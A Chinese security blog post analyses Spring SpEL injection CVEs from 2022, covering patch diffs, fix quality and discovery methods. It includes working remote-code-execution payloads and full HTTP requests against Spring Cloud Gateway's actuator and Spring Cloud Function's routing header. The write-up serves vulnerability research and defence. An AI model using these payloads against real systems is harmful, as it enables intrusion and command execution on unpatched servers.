0x00 前言
因为我突然意识到机械性的去跟进代码似乎没有意义,所以本文漏洞分析的重点在于总结挖掘SpEL注入的思路,以及对修复方式的深入思考。
- CVE-2022-22947
- CVE-2022-22963
- CVE-2022-22950
- CVE-2022-22980
0x01 SpEL表达式
简介
SpEL,如其名,是专门为Spring系列设计的表达式。但是同时他不直接依赖于Spring,可以独立的使用。
语法
因为和OGNL同属于表达式,所以大同小异:
- 界定符:
#{....}
,其中的内容都会被当作SpEL表达式 - 声明变量:
#foobar=1
- 调用属性:
#{user.name}
- 调用方法:
#{user.getName()}
- 调用静态方法:
#{T(java.lang.Math).random()}
调用代码
在代码中进行解析并调用的一个例子如下:
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'");
String message = (String) exp.getValue();
RCE构造
根据上文我们介绍的语法,我们构造出如下的RCE语句(注意如果不是在xml等配置文件,而是直接传入parseExpression,则不需要#符号):
#{T(java.lang.Runtime).getRuntime().exec(new String[]{"calc"})}
0x02 CVE-2022-22947
漏洞通告
In spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ ,applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled,exposed and unsecured.
A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
从CVE通告上,可以看出,在Spring Cloud GateWay V3.1.1+,3.0.7+之前的版本中,如果开启了Gateway Actuator endpoint,就会导致RCE。开启方法为在application.properties中进行如下配置:
management.endpoint.gateway.enabled=true # default value
management.endpoints.web.exposure.include=gateway
环境搭建
环境的搭建,可以使用漏洞发现者的仓库:https://github.com/wdahlenburg/spring-gateway-demo
并向pom.xml添加如下配置来切换到漏洞版本:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-gateway-server</artifactId>
<version>3.1.0</version>
</dependency>
补丁分析以及思考
我们从POC和修复补丁中,可以知道是SpEL注入导致了RCE,补丁链接为:Spring-Cloud-Gataway Commit
// 修复前
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new BeanFactoryResolver(beanFactory));
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
// 修复后
GatewayEvaluationContext context = new GatewayEvaluationContext(beanFactory);
Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
value = expression.getValue(context);
将原来的StandardEvaluationContext
换成了GatewayEvaluationContext
,这个类实际就是对SimpleEvaluationContext
的封装。
public GatewayEvaluationContext(BeanFactory beanFactory) {
this.beanFactoryResolver = new BeanFactoryResolver(beanFactory);
Environment env = beanFactory.getBean(Environment.class);
boolean restrictive = env.getProperty("spring.cloud.gateway.restrictive-property-accessor.enabled", Boolean.class, true);
if (restrictive) {
// 使用了forPropertyAccessors
delegate = SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor())
.withMethodResolvers((context, targetObject, name, argumentTypes) -> null).build();
}
else {
// 一般的修复方法
delegate = SimpleEvaluationContext.forReadOnlyDataBinding().build();
}
}
根据官方的解释(文档),SimpleEvaluationContext
不支持所有的SpEL语法,所以可以对SpEL表达式进行限制。一般的SpEL修复方法也是使用这个类,如补丁else分支所示,没有使用forPropertyAccessors,那这里添加一个if分支使用forPropertyAccessors 是为什么呢?根据漏洞发现者的文章(点击),我们可以知道,在简单使用SimpleEvaluationContext后仅仅是不能调用带有参数方法,调用不带参数方法依然可行,一个实验如下:
public class TEst {
public static void main(String[] args){
// 首先使用StandardEvaluationContext
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setRootObject(new Hacker());
Expression exp = parser.parseExpression("hackerMe('t1')");
String message = (String) exp.getValue(context);
// 再使用SimpleEvaluationContext
parser = new SpelExpressionParser();
EvaluationContext context0= SimpleEvaluationContext.forReadOnlyDataBinding().build();
exp = parser.parseExpression("hackerMe");
message = (String) exp.getValue(context0, new Hacker());
// 再使用SimpleEvaluationContext
parser = new SpelExpressionParser();
EvaluationContext context1= SimpleEvaluationContext.forReadOnlyDataBinding().build();
exp = parser.parseExpression("hackerMe('t2')");
message = (String) exp.getValue(context1, new Hacker());
}
}
class Hacker{
// to test SimpleEvaluationContext
public void hackerMe(String foobar){
System.out.println("flag{"+ foobar +"}");
}
// to test SimpleEvaluationContext
public void hackerMe(){
System.out.println("flag{Happy_Hacking}");
}
}
实验的输出为:
flag{t1}
flag{Happy_Hacking}
Exception in thread "main" org.springframework.expression.spel.SpelEvaluationException: EL1004E: Method call: Method hackerMe(java.lang.String) cannot be found on...
结果也同样表明,依然可以调用无参方法。这也就是说,当我们能够找到一些有危险方法的无参方法时,简单的修复并不能完全组织危害,作者在文中利用CodeQL找到了reactorServerResourceFactory.destroy
,即ReactorResourceFactory#destroy
,通过调用他会导致Spring服务关闭。
官方的修复使用了forPropertyAccessors
来避免这个问题,并通过判断环境变量spring.cloud.gateway.restrictive-property-accessor.enabled
来判断是否使用,也即补丁中的if分支由来。通过forPropertyAccessors可以传入一个PropertyAccessor设定属性访问条件,官方的修复代码如下:
class RestrictivePropertyAccessor extends ReflectivePropertyAccessor {
@Override
public boolean canRead(EvaluationContext context, Object target, String name) {
return false;
}
}
似乎是可读,就不给访问。我们把其加入到如上的实验代码中,并修改部分代码如下:
// 再使用SimpleEvaluationContext
parser = new SpelExpressionParser();
EvaluationContext context0= SimpleEvaluationContext.forPropertyAccessors(new RestrictivePropertyAccessor()).build();
exp = parser.parseExpression("hackerMe");
message = (String) exp.getValue(context0, new Hacker());
这次,之前原本可以的调用,变为调用失败;若把RestrictivePropertyAccessor的返回值改回true,则又可以成功调用。因此,加上forPropertyAccessors才是一种安全性更高的修复方法,这也是很多修复文章里所没提到过的。
挖掘思路
根据作者的博客:(点击),我们知道其是先找到了Sink,即ShortcutConfigurable(接口)#getValue,然后通过阅读函数文档,找到了 RewritePathGatewayFilterFactory实现了ShortcutConfigurable接口,而RewritePath类在其上一篇Spring Cloud GateWay SSRF文章中有所使用(点击),因此作者能够快速的构造出POC进行测试。显然,作者也是从文档(点击)出发,进行Source寻找的。若是逐一调试跟进,无论逆向还是正向,都是很难找到对应的Source的。
当然,也有师傅根据POC分析出了漏洞的原因:Spring Cloud Gateway会对filters中的属性进行normalize格式化处理,其中就有SpEL的解析。
模拟挖掘
作为菜狗的我,若是没有之前那个SSRF漏洞的基础,是否就没有机会挖到这个漏洞呢?因此,本菜狗决定来一次不站在巨人肩膀上的挖掘尝试。
首先,我们找到了ShortcutConfigurable中的sink。如何进行下一步呢?如果是我,在无从下手的时候,肯定会先去看看文档(点击)。而就在文档中,我们看到了几乎一样的名字:
因此,我们就先不妨大胆猜测,这个类就和我们在yml中的配置相关。那接下来又该如何挖掘呢?我选择使用Ctrl + F搜索“SpEL”关键词,找到了如下的文档内容:
可以看到,在与ShortcutConfigurable有关的yml文件中,居然可以支持SpEL表达式。因此,我们创建如下的yml文件:
spring:
cloud:
gateway:
routes:
- id: hacker
uri: https://example.org
filters:
- name: RequestRateLimiter
args:
rate-limiter: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"})}"
key-resolver: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"})}"
运行后,报错告诉我们predicates不能为空:
Okay,那我们就再增加一下这个参数。这个参数,我们在关于ShortcutConfiguration的文档中就有看到(本小节第一张图中),因此添加随便添加一下如下:
spring:
cloud:
gateway:
routes:
- id: hacker
uri: https://example.org
predicates:
- Path=/red/{segment}
filters:
- name: RequestRateLimiter
args:
rate-limiter: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"})}"
key-resolver: "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"})}"
再次运行,但又有了新的错误:
这次,他告诉我们:在GatewayFilterFactory找不到RequestRateLimiter……回过头来看文档,发现虽然RequestRateLimiter列在了其中,但是其需要额外的拓展:
那我们就干脆换一个就行了,毕竟这里面还有一大堆。随便选取文档中的一个,修改yml如下(仅节选修改部分):
filters:
- name: PrefixPath
Bingo!!!成功执行了SpEL表达式!!但是现在我们是在配置文件中实现的,如何才能做到在请求中去实现呢?通过在文档中检索🔍GET等关键词,居然在第15节中找到一个可以传递类似上文配置内容的路由:
但是在文档中,第15节的开头也写明了,如果要实现这种功能,我们首先要进行如下的配置:
在application.properties按照文档所说,进行配置:
spring.application.name=gateway-demo
server.port=9000
management.endpoint.gateway.enabled=true
management.endpoints.web.exposure.include=gateway
之后,我们构造如下的HTTP请求包进行测试:
POST /actuator/gateway/routes/hacker HTTP/1.1
Host: 127.0.0.1:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/json
Content-Length: 313
{
"id": "hacker",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [{
"name": "PrefixPath",
"args": {"_genkey_0":"#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"calc\"})}"}
}],
"uri": "https://www.uri-destination.org",
"order": 0
}
结果显示成功创建:
但是不知道出于什么原因,并没有成功弹窗……难道失败了吗?不过既然已经成功创建,会不会是因为其触发流程不在创建,而是还要借助其他操作呢?继续阅读文档中15节,我们找到一个方法列表:
通过一个个测试,最终我们使用POST发起refresh请求,成功触发了漏洞:
以上SpEL只是实现了RCE,但是没有回显,上网搜索一个回显Payload如下:
#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}
重复上述步骤后,通过访问/actuator/gateway/routes
或者/actuator/gateway/routes/{id}
,即可看到回显:
PS:多测试几次后,会发现,其实predicates处也可以执行SpEL表达式
总结
通过以上模拟挖掘,我们最后也算成功挖掘到了漏洞。可以发现,在不了解组件的情况下,通过文档来挖掘漏洞不失为一种好办法。
0x04 CVE-2022-22963
漏洞通告
In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
从通告中可以看出,在Spring Cloud Function <=3.1.6, 3.2.2中如果使用了routing functionality就可以通过SpEL进行RCE。
补丁
根据Vmware的通告(点击)时间(29 Mar),成功在Github的commit找到了补丁文件(点击),位于RoutingFunction.java中。修改的部分有点多,但都与SpEL有关,提取出关键修复部分如下:
private final StandardEvaluationContext evalContext = new StandardEvaluationContext();
private final SimpleEvaluationContext headerEvalContext = SimpleEvaluationContext
.forPropertyAccessors(DataBindingPropertyAccessor.forReadOnlyAccess()).build();
// RoutingFunction#functionFromExpression
//String functionName = expression.getValue(this.evalContext, input, String.class);
String functionName = isViaHeader ? expression.getValue(this.headerEvalContext, input, String.class) : expression.getValue(this.evalContext, input, String.class);
可以看到,增加了SimpleEvaluationContext,如果SpEL表达式来自Header,就会用SimpleEvaluationContext去执行,否则就使用无限制的StandardEvaluationContext。因此,我们可以猜测,漏洞的Source就来自HTTP报文中的Header。
环境搭建
先进行环境的搭建,之后再通过其他方法进行挖掘。首先,我们借助Spring Initializr快速构建一个Demo,访问官网,然后Add Dependencies即可:
Generate之后,修改pom.xml切换到漏洞版本:
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-function-context</artifactId>
<version>3.1.6</version>
</dependency>
<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-starter-function-web</artifactId>
<version>1.0.1.RELEASE</version>
</dependency>
根据某网站(点击)的方法,编写如下代码:
@SpringBootApplication
public class CloudFunctionApplication {
public static void main(String[] args) {
SpringApplication.run(CloudFunctionApplication.class, args);
}
@Bean
public Function<String, String> reverseString() {
return value -> new StringBuilder(value).reverse().toString();
}
}
然后就能够使用curl进行测试:
curl localhost:8080/reverseString -H "Content-Type: text/plain" -d "chenvltang"
成功返回转序字符串则代表搭建成功。
模拟挖掘
首先在文档(点击)中搜索SpEL,找到了如下图所示的描述:
当使用了Spring-cloud-function-web时,可以在HTTP的header中传递sping.cloud.function.definition
或者spring.cloud.function.routing-expression
,而这两者都支持SpEL表达式。所以我们猜测,这里便是漏洞的Source。回过头去看Sink处代码:
if (function == null) {
if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.definition"))) {
function = functionFromDefinition((String) message.getHeaders().get("spring.cloud.function.definition"));
if (function.isInputTypePublisher()) {
this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
}
}
else if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {
function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud.function.routing-expression"), message);
if (function.isInputTypePublisher()) {
this.assertOriginalInputIsNotPublisher(originalInputIsPublisher);
}
}
当header使用了spring.cloud.function.routing-expression
时,便会进入functionFromExpression
,最后进行SpEL的解析。但是当我们尝试向/
路由加上header请求时,并不会进入到这里,那要如何找到进入的办法呢?其实仔细看了文档之后,就会发现已经全部告诉你了:
很明显,要触发这个功能,只需要向/functionRouter
发起请求。
POC
因此,构造POC如下:
GET /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(new String[]{"calc"})
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 4
成功弹出计算器:
顺带一题,这里SpEL不需要带定界符,至于原因,懒狗没细究,我是查看本地报错结合多次尝试才测试出来的。有兴趣的师傅,也可以去跟进代码调试。
0x05 CVE-2022-22950
漏洞通告
n Spring Framework versions 5.3.0 - 5.3.16 and older unsupported versions,
it is possible for a user to provide a specially crafted SpEL expression that may cause a denial of service condition.
Spring Framework在5.3.0-5.3.16、5.2.0-5.2.19和更老的不受支持版本中,可以通过构造SpEL造成DOS攻击。值得一提的是,当查看漏洞报送人时,会发现这是@4ra1n师傅提交的。
补丁分析
根据补丁(点击)描述,貌似是利用SpEL声明大数组导致内存溢出,从而使服务关闭:
Improve diagnostics in SpEL for large array creation
Attempting to create a large array in a SpEL expression can result in
an OutOfMemoryError. Although the JVM recovers from that, the error
message is not very helpful to the user.
This commit improves the diagnostics in SpEL for large array creation
by throwing a SpelEvaluationException with a meaningful error message
in order to improve diagnostics for the user.
修复方式也很简单,就是增加了对数组大小的检查:
private void checkNumElements(long numElements) {
// private static final int MAX_ARRAY_ELEMENTS = 256 * 1024; // 256K
if (numElements >= MAX_ARRAY_ELEMENTS) {
throw new SpelEvaluationException(getStartPosition(),
SpelMessage.MAX_ARRAY_ELEMENTS_THRESHOLD_EXCEEDED, MAX_ARRAY_ELEMENTS);
}
}
不过懒狗现在很好奇,这个漏洞要怎么利用?貌似只能借助上文的Spring Cloud的两个漏洞或其他漏洞来触发。查看@4ra1n师傅自己在先知社区写的文章也能发现,这个漏洞确实必须要借助其他漏洞触发:
师傅在文章里,把挖掘思路和思考写的够清楚了,我就不献丑了。总的来说,造成OutOfMemory是因为最后for循环耗尽了CPU资源。
总结
漏洞的利用条件比较苛刻,但是挖掘思路和师傅的思考与探索方式还是值得学习的。
0x06 CVE-2022-22980
漏洞通告
A Spring Data MongoDB application is vulnerable to SpEL Injection when using @Query or @Aggregation-annotated query methods with SpEL expressions that contain query parameter placeholders for value binding if the input is not sanitized.
大意就是Spring Data MongoDB中如果使用了@Query 或者@Aggregation注解,当输入未过滤,且SpEL表达式中包含查询参数占位符时,就可以造成SpEL注入。
在Vmware tanzu的通告中,我们更能清楚的看到漏洞的利用条件:
补丁分析
从补丁(点击)处可以发现,修复方式是新增了一个将SpEL解析封装起来的类:EvaluationContextExpressionEvaluator,并新增了一个对SpEL占位符的正则匹配, 其中有一些处理:
private static final Pattern SPEL_PARAMETER_BINDING_PATTERN = Pattern.compile("('\\?(\\d+)'|\\?(\\d+))");
private final ParameterBindingContext bindingContext;
private BindableValue bindableValueFor(JsonToken token) {
String binding = regexMatcher.group();
String expression = binding.substring(3, binding.length() - 1);
Matcher inSpelMatcher = SPEL_PARAMETER_BINDING_PATTERN.matcher(expression); // ?0 '?0'
Map<String, Object> innerSpelVariables = new HashMap<>();
while (inSpelMatcher.find()) {
String group = inSpelMatcher.group();
int index = computeParameterIndex(group);
Object value = getBindableValueForIndex(index);
String varName = "__QVar" + innerSpelVariables.size();
expression = expression.replace(group, "#" + varName);
if(group.startsWith("'")) { // retain the string semantic
innerSpelVariables.put(varName, nullSafeToString(value));
} else {
innerSpelVariables.put(varName, value);
}
}
Object value = evaluateExpression(expression, innerSpelVariables);
把?0
替换为#__QVar0
的形式,然后传入evaluateExpression(expression, innerSpelVariables);
,这个方法也有添加如下代码:
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString, variables);
}
return expressionEvaluator.evaluate(expressionString);
}
会判断是不是EvaluationContextExpressionEvaluator
,不是的话会调用EvaluationContextExpressionEvaluator
。而原来的代码如下:
private static final Pattern PARAMETER_BINDING_PATTERN = Pattern.compile("\\?(\\d+)");
Matcher inSpelMatcher = PARAMETER_BINDING_PATTERN.matcher(expression);
while (inSpelMatcher.find()) {
int index = computeParameterIndex(inSpelMatcher.group());
expression = expression.replace(inSpelMatcher.group(), getBindableValueForIndex(index).toString());
}
Object value = evaluateExpression(expression);
// evaluateExpression
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
漏洞版本中,是直接将?0
替换成了我们输入的值,然后直接传入evaluateExpression中解析。综上,可以推测出,漏洞就出在这个expressionEvaluator.evaluate(expressionString),修复后的代码,因为是将?0
替换为#__QVar0
,然后会判断是否为EvaluationContextExpressionEvaluator
, 不是的话依然进入原调用(很显然,默认不是),但是因为值不是我们输入的值,而是那个QVAR,所以不会造成危害。